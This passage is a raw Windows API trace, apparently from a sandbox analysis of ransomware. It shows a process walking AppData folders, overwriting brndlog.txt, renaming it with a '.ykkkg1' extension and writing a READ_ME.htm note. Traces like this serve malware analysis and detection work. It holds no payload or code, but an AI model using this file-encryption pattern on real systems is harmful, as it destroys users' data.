ftCreationTime.dwLowDateTime=0x62cae6a0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cae6a0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xb371c2, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x2fa9, dwReserved0=0x0, dwReserved1=0x0, cFileName="brndlog.txt", cAlternateFileName="")) returned 1 [0142.997] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x62cae6a0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cae6a0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xb371c2, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x2fa9, dwReserved0=0x0, dwReserved1=0x0, cFileName="brndlog.txt", cAlternateFileName="")) returned 0 [0142.997] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.998] SetErrorMode (uMode=0x0) returned 0x1 [0142.998] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer", lpFilePart=0x0) returned 0x3a [0142.998] SetErrorMode (uMode=0x1) returned 0x0 [0142.998] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\*" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\internet explorer\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cae6a0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x96e13f, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.998] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cae6a0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x96e13f, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.999] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x62cae6a0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cae6a0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xff12e0f2, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x2fa9, dwReserved0=0x0, dwReserved1=0x0, cFileName="brndlog.bak", cAlternateFileName="")) returned 1 [0142.999] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x62cae6a0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cae6a0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xb371c2, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x2fa9, dwReserved0=0x0, dwReserved1=0x0, cFileName="brndlog.txt", cAlternateFileName="")) returned 1 [0142.999] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x62cae6a0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cae6a0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xb371c2, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x2fa9, dwReserved0=0x0, dwReserved1=0x0, cFileName="brndlog.txt", cAlternateFileName="")) returned 0 [0142.999] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.999] SetErrorMode (uMode=0x0) returned 0x1 [0142.999] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt", lpFilePart=0x0) returned 0x46 [0142.999] SetErrorMode (uMode=0x1) returned 0x0 [0143.000] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\internet explorer\\brndlog.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0143.001] GetFileType (hFile=0x1d0) returned 0x1 [0143.001] SetErrorMode (uMode=0x0) returned 0x1 [0143.001] GetFileType (hFile=0x1d0) returned 0x1 [0143.001] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d3b8 | out: lpFileSizeHigh=0x21d3b8*=0x0) returned 0x2fa9 [0143.001] ReadFile (in: hFile=0x1d0, lpBuffer=0x2989a40, nNumberOfBytesToRead=0x2fa9, lpNumberOfBytesRead=0x21d298, lpOverlapped=0x0 | out: lpBuffer=0x2989a40*, lpNumberOfBytesRead=0x21d298*=0x2fa9, lpOverlapped=0x0) returned 1 [0143.206] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt", nBufferLength=0x105, lpBuffer=0x21cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt", lpFilePart=0x0) returned 0x46 [0143.206] SetErrorMode (uMode=0x1) returned 0x0 [0143.207] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\internet explorer\\brndlog.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0143.208] GetFileType (hFile=0x1d0) returned 0x1 [0143.208] SetErrorMode (uMode=0x0) returned 0x1 [0143.208] GetFileType (hFile=0x1d0) returned 0x1 [0143.208] WriteFile (in: hFile=0x1d0, lpBuffer=0x28788f0*, nNumberOfBytesToWrite=0x2fb0, lpNumberOfBytesWritten=0x21d318, lpOverlapped=0x0 | out: lpBuffer=0x28788f0*, lpNumberOfBytesWritten=0x21d318*=0x2fb0, lpOverlapped=0x0) returned 1 [0143.209] CloseHandle (hObject=0x1d0) returned 1 [0143.211] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt", nBufferLength=0x105, lpBuffer=0x21cff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt", lpFilePart=0x0) returned 0x46 [0143.211] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt.ykkkg1", nBufferLength=0x105, lpBuffer=0x21cff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt.ykkkg1", lpFilePart=0x0) returned 0x4d [0143.211] SetErrorMode (uMode=0x1) returned 0x0 [0143.211] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\internet explorer\\brndlog.txt"), fInfoLevelId=0x0, lpFileInformation=0x21d240 | out: lpFileInformation=0x21d240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x62cae6a0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cae6a0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x51d7fe40, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x2fb0)) returned 1 [0143.212] SetErrorMode (uMode=0x0) returned 0x1 [0143.212] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\internet explorer\\brndlog.txt"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt.ykkkg1" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\internet explorer\\brndlog.txt.ykkkg1")) returned 1 [0143.213] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cd70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\READ_ME.htm", lpFilePart=0x0) returned 0x46 [0143.213] SetErrorMode (uMode=0x1) returned 0x0 [0143.213] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\READ_ME.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\internet explorer\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0143.214] GetFileType (hFile=0x1d0) returned 0x1 [0143.214] SetErrorMode (uMode=0x0) returned 0x1 [0143.214] GetFileType (hFile=0x1d0) returned 0x1 [0143.214] WriteFile (in: hFile=0x1d0, lpBuffer=0x287fa18*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d2d8, lpOverlapped=0x0 | out: lpBuffer=0x287fa18*, lpNumberOfBytesWritten=0x21d2d8*=0x720, lpOverlapped=0x0) returned 1 [0143.215] CloseHandle (hObject=0x1d0) returned 1 [0143.216] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player", lpFilePart=0x0) returned 0x35 [0143.216] SetErrorMode (uMode=0x1) returned 0x0 [0143.216] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\*" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cd4800, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd856f385, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0143.225] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cd4800, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd856f385, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.225] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x62cae6a0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cae6a0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd8679d27, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x105000, dwReserved0=0x0, dwReserved1=0x0, cFileName="CurrentDatabase_372.wmdb", cAlternateFileName="CURREN~1.WMD")) returned 1 [0143.225] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x62cae6a0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cae6a0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd856f385, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1106c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalMLS_3.wmdb", cAlternateFileName="LOCALM~1.WMD")) returned 1 [0143.226] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sync Playlists", cAlternateFileName="SYNCPL~1")) returned 1 [0143.226] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sync Playlists", cAlternateFileName="SYNCPL~1")) returned 0 [0143.226] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0143.227] SetErrorMode (uMode=0x0) returned 0x1 [0143.227] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player", lpFilePart=0x0) returned 0x35 [0143.228] SetErrorMode (uMode=0x1) returned 0x0 [0143.228] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\*" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cd4800, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd856f385, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0143.229] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cd4800, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd856f385, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.229] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x62cae6a0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cae6a0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd8679d27, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x105000, dwReserved0=0x0, dwReserved1=0x0, cFileName="CurrentDatabase_372.wmdb", cAlternateFileName="CURREN~1.WMD")) returned 1 [0143.229] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x62cae6a0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cae6a0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd856f385, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1106c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalMLS_3.wmdb", cAlternateFileName="LOCALM~1.WMD")) returned 1 [0143.229] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sync Playlists", cAlternateFileName="SYNCPL~1")) returned 1 [0143.230] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sync Playlists", cAlternateFileName="SYNCPL~1")) returned 0 [0143.230] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0143.231] SetErrorMode (uMode=0x0) returned 0x1 [0143.231] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists", lpFilePart=0x0) returned 0x44 [0143.231] SetErrorMode (uMode=0x1) returned 0x0 [0143.231] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\*" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\*"), lpFindFileData=0x21cfb0 | out: lpFindFileData=0x21cfb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0143.232] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.232] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0143.232] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0143.232] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0143.232] SetErrorMode (uMode=0x0) returned 0x1 [0143.233] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists", lpFilePart=0x0) returned 0x44 [0143.233] SetErrorMode (uMode=0x1) returned 0x0 [0143.233] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\*" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\*"), lpFindFileData=0x21cfb0 | out: lpFindFileData=0x21cfb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0143.233] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.233] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0143.233] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0143.234] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0143.234] SetErrorMode (uMode=0x0) returned 0x1 [0143.234] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US", lpFilePart=0x0) returned 0x4a [0143.234] SetErrorMode (uMode=0x1) returned 0x0 [0143.234] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\*" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0143.235] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.235] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cae6a0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="00010C6E", cAlternateFileName="")) returned 1 [0143.235] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cae6a0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="00010C6E", cAlternateFileName="")) returned 0 [0143.235] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0143.236] SetErrorMode (uMode=0x0) returned 0x1 [0143.236] 